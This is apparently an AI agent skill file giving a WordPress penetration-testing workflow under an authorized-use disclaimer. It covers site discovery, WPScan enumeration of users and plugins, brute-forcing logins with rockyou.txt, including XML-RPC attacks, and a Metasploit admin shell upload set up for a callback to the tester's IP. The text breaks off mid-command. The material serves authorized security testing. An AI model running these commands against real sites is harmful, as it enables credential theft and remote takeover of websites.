wordpress-penetration-testing

What this skill does

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# WordPress Penetration Testing

## WordPress 7.0 Security Considerations

WordPress 7.0 (April 2026) introduces new features that create additional attack surfaces:

### Real-Time Collaboration (RTC)
- Yjs CRDT sync provider endpoints
- `wp_sync_storage` post meta
- Collaboration session hijacking
- Data sync interception

### AI Connector API
- `/wp-json/ai/v1/` endpoints
- Credential storage in Settings > Connectors
- Prompt injection vulnerabilities
- AI response manipulation

### Abilities API
- `/wp-json/abilities/v1/` manifest exposure
- Ability invocation endpoints
- Permission boundary bypass
- MCP adapter integration points

### DataViews
- New admin interface endpoints
- Client-side validation bypass
- Filter/sort parameter injection

### PHP Requirements
- PHP 7.2/7.3 no longer supported (upgrade attacks)
- PHP 8.3+ recommended (new attack vectors)

## Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.

## Prerequisites

### Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget

### Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)

## Outputs and Deliverables

1. **WordPress Enumeration Report** - Version, themes, plugins, users
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
3. **Credential Assessment** - Weak password findings
4. **Exploitation Proof** - Shell access documentation

## Core Workflow

### Phase 1: WordPress Discovery

Identify WordPress installations:

```bash
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
```

Key WordPress files and directories:
- `/wp-admin/` - Admin dashboard
- `/wp-login.php` - Login page
- `/wp-content/` - Themes, plugins, uploads
- `/wp-includes/` - Core files
- `/xmlrpc.php` - XML-RPC interface
- `/wp-config.php` - Configuration (not accessible if secure)
- `/readme.html` - Version information

### Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

```bash
# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v
```

### Phase 3: WordPress Version Detection

Identify WordPress version:

```bash
# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
```

Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions

### Phase 4: Theme Enumeration

Identify installed themes:

```bash
# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
```

Theme vulnerability checks:
```bash
# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
```

### Phase 5: Plugin Enumeration

Identify installed plugins:

```bash
# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
```

Common vulnerable plugins to check:
```bash
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
```

### Phase 6: User Enumeration

Discover WordPress users:

```bash
# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
```

### Phase 7: Comprehensive Enumeration

Run all enumeration modules:

```bash
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
```

### Phase 8: Password Attacks

Brute-force WordPress credentials:

```bash
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
```

Password attack methods:
- `wp-login` - Standard login form
- `xmlrpc` - XML-RPC multicall (faster)
- `xmlrpc-multicall` - Multiple passwords per request

### Phase 9: Vulnerability Exploitation

#### Metasploit Shell Upload

After obtaining credentials:

```bash
# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip